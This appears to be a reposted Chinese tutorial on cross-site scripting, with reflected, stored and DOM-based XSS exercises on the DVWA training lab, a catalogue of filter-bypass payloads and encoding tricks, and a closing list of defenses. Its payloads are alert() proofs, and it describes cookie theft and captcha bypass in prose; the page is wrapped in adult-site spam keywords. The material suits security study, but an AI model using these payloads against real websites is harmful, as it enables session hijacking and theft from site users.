一区二区三区日韩精品-日韩经典一区二区三区-五月激情综合丁香婷婷-欧美精品中文字幕专区

分享

XSS繞過及防御(Web漏洞及防御)

 天下小糧倉 2020-10-21
XSS繞過及防御(Web漏洞及防御)

========== 實驗環(huán)境 ==========

Windows Server 2018 R2

DVWA

========== 實驗環(huán)境 ==========

XSS攻擊,指黑客利用網(wǎng)站漏洞把惡意的腳本代碼(通常包括HTML代碼和JS腳本)注入到網(wǎng)頁中,當(dāng)用戶瀏覽網(wǎng)頁時,就會執(zhí)行其中的惡意代碼(控制用戶瀏覽器),對受害用戶采取Cookie數(shù)據(jù)竊取、會話劫持釣魚欺騙等各種攻擊。

它對Web服務(wù)器沒有直接危害,借助網(wǎng)站進(jìn)行傳播,使網(wǎng)站的用戶受到攻擊。

XSS繞過及防御(Web漏洞及防御)

攻擊者一般通過留言、電子郵件或其他途徑向受害用戶發(fā)送一個惡意的URL,當(dāng)惡意URL被用戶觸發(fā)時,惡意腳本就會在受害者的計算機(jī)上執(zhí)行。

造成XSS攻擊的因素?

  1. Web瀏覽器的設(shè)計不安全,瀏覽器只執(zhí)行和解析JS等腳本,不會判斷數(shù)據(jù)和程序代碼是否惡意。
  2. 輸入和輸出的交過過程中,沒有做好安全防護(hù)。
  3. 團(tuán)隊協(xié)作開發(fā),水平參差不齊,難免存在問題。
  4. 意識性不強(qiáng)
  5. 觸發(fā)惡意代碼的手段多樣,無法做到完全防御
  6. XSS漏洞注入點多樣

XSS漏洞的危害

攻擊者通過注入如alert(/xss/)之類的JS代碼來證明XSS漏洞的存在性,但沒有真實地反映其危害性!

  1. 網(wǎng)絡(luò)釣魚,盜取用戶賬號。
  2. cookies竊取,偽造身份進(jìn)行對網(wǎng)站的操作。
  3. 劫持用戶(瀏覽器)會話,執(zhí)行任意操作,如非法轉(zhuǎn)賬等。
  4. 利用JS彈出廣告頁面,刷流量。
  5. 網(wǎng)頁掛馬
  6. 惡意操作
  7. 客戶端攻擊
  8. 獲取客戶端信息(用戶的瀏覽記錄、IP、開放的端口)
  9. 控制受害者電腦向其他網(wǎng)站進(jìn)行攻擊
  10. 結(jié)合其他漏洞,如CSRF漏洞,實施進(jìn)一步操作。
  11. 提升用戶權(quán)限,滲透網(wǎng)站。
  12. 傳播跨站腳本蠕蟲

反射型XXS(非持久型XSS,一次性):主要用于將惡意腳本附加到URL地址參數(shù)中。

攻擊者通過特定的手法,比如利用電子郵件,誘使用戶去訪問一個包含惡意代碼的URL,當(dāng)受害者觸發(fā)時,惡意JS代碼會直接在受害者主機(jī)上的瀏覽器執(zhí)行。特點是,只在用戶觸發(fā)的時候,執(zhí)行一次!

流程:

XSS繞過及防御(Web漏洞及防御)

通常出現(xiàn)在網(wǎng)站的搜索欄,用戶登入口,用來竊取客戶端Cookie或進(jìn)行釣魚欺騙。

POC

<sCr<scrscRiptipt>ipt>OonN'"<>
XSS繞過及防御(Web漏洞及防御)

過濾掉了<sCr<scrscRiptipt>OonN'"<>

DVWA

low:

XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)

過濾掉了<sCr<scrscRiptipt>,其他沒有過濾!

源碼:

XSS繞過及防御(Web漏洞及防御)

構(gòu)造:

<input onfocus=alert(/xss/) autofocus>

成功:

XSS繞過及防御(Web漏洞及防御)

medium:

源碼:

XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)

也只進(jìn)行了<script>過濾,替換了成空!攻擊手段同low一樣!

<input onfocus=alert(/xss/) autofocus>
XSS繞過及防御(Web漏洞及防御)

high:

XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)

impossible:

XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)

結(jié)論:

使用php中的htmlspecialchars函數(shù)把預(yù)定義的字符&、”、 ’、<、>轉(zhuǎn)換為 HTML 實體,

防止瀏覽器將其作為HTML元素!

存儲型XSS:也叫持久型跨站腳本,攻擊者事先將惡意JS代碼上傳或存儲到漏洞服務(wù)器中,只要瀏覽包含惡意JS代碼的頁面就會被執(zhí)行。

XSS繞過及防御(Web漏洞及防御)

持久型XSS一般出現(xiàn)在網(wǎng)站的留言、評論等交互處,惡意腳本被存儲到客戶端或者服務(wù)器的數(shù)據(jù)庫中,當(dāng)用戶瀏覽該網(wǎng)頁時,服務(wù)器從數(shù)據(jù)庫中讀取惡意用戶存入的非法數(shù)據(jù),然后顯示在頁面中,在受害者電腦上的瀏覽器執(zhí)行惡意代碼。它不需要用戶去單擊URL進(jìn)行觸發(fā),可以利用它滲透網(wǎng)站,掛馬,釣魚......

利用此XSS還能編寫XSS蠕蟲,能夠在網(wǎng)站中實現(xiàn)病毒的幾何數(shù)級傳播!XSS蠕蟲會直接影響網(wǎng)站的所有用戶,一個地方出現(xiàn)XSS漏洞,網(wǎng)站下的所有用戶都有可能被攻擊。

low:

XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)
<sCr<scrscRiptipt>ipt>OonN'"<>
XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)
<script>alert(/xss/)</script>
XSS繞過及防御(Web漏洞及防御)

medium:

XSS繞過及防御(Web漏洞及防御)
<sc<script>ript>alert(/xss/)</script>
XSS繞過及防御(Web漏洞及防御)

high:

<img src=1 onerror=alert(/xss/)>
XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)

impossible:

XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)
Message: <sCr<scrscRiptipt>ipt>OonN\'\"<>

通過使用htmlspecialchars函數(shù),解決了XSS,但是要注意的是,如果htmlspecialchars函數(shù)使用不當(dāng),攻擊者就可以通過編碼的方式繞過函數(shù)進(jìn)行XSS注入,尤其是DOM型的XSS。

DOM型XSS:通過修改頁面的DOM節(jié)點形成的XSS,并不會將payload上傳到服務(wù)器,沒有與服務(wù)器端進(jìn)行交互,如果DOM中的數(shù)據(jù)沒有經(jīng)過嚴(yán)格確認(rèn),就會產(chǎn)生DOM—based XSS漏洞

可能觸發(fā)DOM型XSS的屬性

document.referer

window.name

location

innerHTML

documen.write

low:

查看頁面源代碼:

XSS繞過及防御(Web漏洞及防御)

document屬于window 的一個子對象

window.location 包含 href 屬性,直接取值賦值時相當(dāng)于 window.location.href

window.location.href 當(dāng)前頁面完整 URL

document.location 包含 href 屬性,直接取值賦值時相當(dāng)于 document.location.href

document.location.href 當(dāng)前頁面完整 URL

decodeURI() 函數(shù)可對 encodeURI() 函數(shù)編碼過的 URI 進(jìn)行解碼

插入的 javascript 代碼可以在 decodeURL(lang) 被執(zhí)行

http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?
default=English<script>alert(/xss/)</script>
XSS繞過及防御(Web漏洞及防御)

meduim:

查看服務(wù)器端源碼:

XSS繞過及防御(Web漏洞及防御)

array_key_exists() 函數(shù)檢查某個數(shù)組中是否存在指定的鍵名,如果鍵名存在則返回 true,如果鍵名不存在則返回 false。

stripos() 函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置(不區(qū)分大小寫)

header() 函數(shù)向客戶端發(fā)送原始的 HTTP 報頭

結(jié)論:Medium 級別過濾了 <script>

構(gòu)造:

  1. 閉合前面的<option>和<select>
  2. <img src=1 onerror=alert(/xss/)>
http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?
default=English</option></select><img src=1 onerror=alert(/xss/)>
XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)

high:

源碼:

XSS繞過及防御(Web漏洞及防御)
# ok
http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?
default=English #<script>alert(/xss/)</script>
XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)

impossible:

XSS繞過及防御(Web漏洞及防御)
XSS繞過及防御(Web漏洞及防御)

輸入的參數(shù)都進(jìn)行了URL編碼!

攻擊:

Cookie劫持和欺騙

注意:詳細(xì)過程,請參考<<Web滲透測試(XSS)>>!

防御:

Set-Cookie時給關(guān)鍵字Cookie植入HttpOnly標(biāo)識!

Cookie與客戶端的IP地址綁定!

攻擊:模擬GET,POST請求操作用戶的瀏覽器

防御:提交表單的時候要求用戶輸入驗證碼

"修改密碼"的功能中,要求用戶輸入舊密碼!

繞過:

對于驗證碼,XSS Payload可以通過讀取頁面內(nèi)容,將驗證碼的圖片URL發(fā)送到遠(yuǎn)程服務(wù)器上來實施(遠(yuǎn)程XSS后臺接收當(dāng)前的驗證碼),將驗證碼的值返回給當(dāng)前的XSS Payload,從而繞過驗證碼。

修改密碼,可以通過釣魚網(wǎng)站來偽造獲取舊密碼!

攻擊:識別用戶瀏覽器(UserAgent對象)

但瀏覽器的UserAgent對象可以偽造,瀏覽器的好多擴(kuò)展都可以自定義瀏覽器的UserAgent,所以獲取到的信息不一定準(zhǔn)確。但由于瀏覽器之間實現(xiàn)存在差異,通過這些差異可以準(zhǔn)確地判斷出瀏覽器版本。(通過代碼實現(xiàn))

攻擊:識別用戶安裝的軟件

IE中,通過判斷ActiveX控件的classid是否存在,來推測用戶是否安裝了該軟件。通過判斷用戶安裝的軟件,選擇對應(yīng)的瀏覽器漏洞,來植入木馬的目的。

攻擊:識別瀏覽器的擴(kuò)展和插件

firefox的插件列表存放在一個DOM對象中,通過查詢DOM對象可以遍歷出所有的插件。查詢navigator.plugins對象!

firefox的擴(kuò)展,通過圖標(biāo)來判斷是否存在。

通過CSS,發(fā)現(xiàn)用戶曾經(jīng)訪問過的網(wǎng)站,style的visited屬性!

獲取用戶的真實IP地址:

比如客戶端安裝了Java環(huán)境,XSS可以調(diào)用Java Applet接口來獲取客戶端的本地IP地址。

ActiveX

Flash

iTunes

office Word

QuickTime

...等等第三方軟件的功能,來抓取用戶的本地信息。

XSS Cheat Sheet:

在測試XSS的過程中,需要嘗試各種XSS輸入,來繞過服務(wù)器端程序?qū)缯灸_本的過濾,如果有一份待測試的XSS語句列表會方便很多。

XSS語句列表羅列出各種各樣的XSS代碼,代碼在不同的瀏覽器、不同的應(yīng)用場景、不同的環(huán)境下均有跨站觸發(fā)的可能。通常,此類列表被稱為Cheat Sheet!

https:///web-security/cross-site-scripting/cheat-sheet
XSS繞過及防御(Web漏洞及防御)
<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>

......

XSS構(gòu)造:

繞過XSS-filter

XSS-filter一般基于黑白名單的安全過濾策略(攔截、編碼和消毒過濾等處理),實際上是一段編寫額過濾函數(shù)。

  1. <>標(biāo)記注射HTML/JS

過濾和轉(zhuǎn)義<>和<script>

  1. HTML標(biāo)簽屬性值執(zhí)行XSS

Javascript:[code]偽協(xié)議的形式,它聲明了URL的主體是任意的JS代碼,由JS的解釋器運行

<img src="javascript:alert('xss');">

注:不是所有標(biāo)記的屬性值都能產(chǎn)生XSS,通常只有引用文件的屬性才能觸發(fā)XSS腳本

href/lowsrc/bgsound/background/value/action/dynsrc ......

過濾JavaScript等關(guān)鍵字

  1. 空格回車Tab
<img src="javas cript:alert(/xss/)" width=100 height=100>  // tab

JS通常以分號結(jié)尾,如果JS引擎確認(rèn)一個語句是完整的,而這一行的結(jié)尾有換行符,那么就可以省略分號

var name = "tony"
var age= 18;
var name="tony wenxin";var age=18;

除了在引號中分隔單詞或強(qiáng)制結(jié)束語句之外,額外的空白無論以何種方式添加都無所謂!

var name
="tony";
// JS引擎沒有把換行符解釋為語句的終止符,因為到換行處并不是一個完整的語句,會繼續(xù)處理發(fā)現(xiàn)的內(nèi)容
// 直到遇到一個分號或發(fā)現(xiàn)語句完整為止

繞過過濾:

<img src="javas
cript:
alert(/xss/)" width=100 height=100 >
  1. 對標(biāo)簽屬性值轉(zhuǎn)碼

對普通的HTML標(biāo)記的屬性值進(jìn)行過濾,用戶還是可以通過編碼處理來繞過,因為HTML中屬性值本身支持ASCII碼形式。

<img src="javascript:alert(/xss/);">
<img src="javascript:alert(/xss/);">
  // t:116 t
  //:58    :

另外,tab符的ASCII碼 、換行符 、回車符 可以被插入到代碼中的任意位置!

  1. 事件

onerror

onclick

......

<img src="#" onerror=alert(/xss/)>
  1. CSS跨站
<div style="background-image:url(javascript:alert('/xss/'))">

對style屬性進(jìn)行過濾!

CSS的引入:

<link rel="stylesheet" >
<style type="text/css">@import url(http://www.baidu.com/attack.css);</style>
 // attack.css
 .executeCSS{
event:(
       onload = function(){alert(/xss/);}  
       ) 
}
@import 'javascript:alert(/xss/)';

過濾/javascript/import字符

  1. 擾亂過濾規(guī)則

大小寫轉(zhuǎn)換

大小寫混淆

使用單引號

不使用引號

  1. 利用字符編碼

利用編碼工具,把字符編碼為十進(jìn)制或十六進(jìn)制進(jìn)行替換!

j  // 十進(jìn)制
a // 十六進(jìn)制
XSS繞過及防御(Web漏洞及防御)

JS還支持unicode、escapes、八進(jìn)制等編碼形式!

XSS shellcode

shellcode調(diào)用方式:

  1. 寫入URL參數(shù)中
http://www.?index.php?name=[]
  1. <script>標(biāo)簽里
  2. src
  3. JS代碼嵌入到網(wǎng)頁中
  4. window.location.hash屬性
  5. XSS downloader
  6. 存儲在本地客戶端中

XSS的利用

注意:具體實操在之前文章已有涉及,這里只涉及利用手段!

  1. cookie竊取
  2. XSS權(quán)限提升(劫持后臺管理員的會話)
  3. 獲取網(wǎng)站的WebShell
  4. 網(wǎng)絡(luò)釣魚(控制用戶瀏覽器的行為)
  5. 網(wǎng)頁掛馬(利用JS動態(tài)的創(chuàng)建一個窗口,并調(diào)用網(wǎng)頁木馬!)
  6. DOS和DDOS(無限循環(huán)地執(zhí)行JS代碼)
  7. XSS蠕蟲病毒(自我復(fù)制,在客戶端執(zhí)行惡意攻擊!)
XSS繞過及防御(Web漏洞及防御)

XSS防御

  1. 過濾用戶提交的信息

輸入過濾:(輸入是否合法,長度限制,格式,過濾敏感字符等等)

輸出過濾:(編碼處理,如HTML實體)

  1. 黑名單和白名單
  2. 定制過濾策略
  3. 安全編碼規(guī)范(使用開源的防止XSS庫進(jìn)行編寫代碼!)
  4. WAF

......

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多

    免费观看潮喷到高潮大叫 | 不卡一区二区高清视频| 午夜福利视频偷拍91| 日本深夜福利视频在线| 日本人妻中出在线观看| 一本色道久久综合狠狠躁| 国产一区二区三区色噜噜| 国产女同精品一区二区| 殴美女美女大码性淫生活在线播放 | 国产又猛又黄又粗又爽无遮挡| 好吊一区二区三区在线看| 天堂热东京热男人天堂| 婷婷激情五月天丁香社区| 欧美尤物在线视频91| 精品熟女少妇av免费久久野外| 国产超碰在线观看免费| 最新69国产精品视频| 欧美又大又黄刺激视频| 99热中文字幕在线精品| 欧美乱码精品一区二区三| 亚洲精品福利视频在线观看| 好吊妞视频只有这里有精品| 国产成人亚洲欧美二区综| 日本人妻精品中文字幕不卡乱码| 91麻豆视频国产一区二区| 欧美大胆女人的大胆人体| 一二区中文字幕在线观看| 日本人妻熟女一区二区三区| 91插插插外国一区二区| 91偷拍视频久久精品| 久热久热精品视频在线观看| 成人精品日韩专区在线观看| 视频在线免费观看你懂的| 老司机精品在线你懂的| 欧美一级内射一色桃子| 少妇高潮呻吟浪语91| 亚洲夫妻性生活免费视频| 亚洲一区二区三区有码| 99福利一区二区视频| 免费国产成人性生活生活片| 中文字幕亚洲精品乱码加勒比|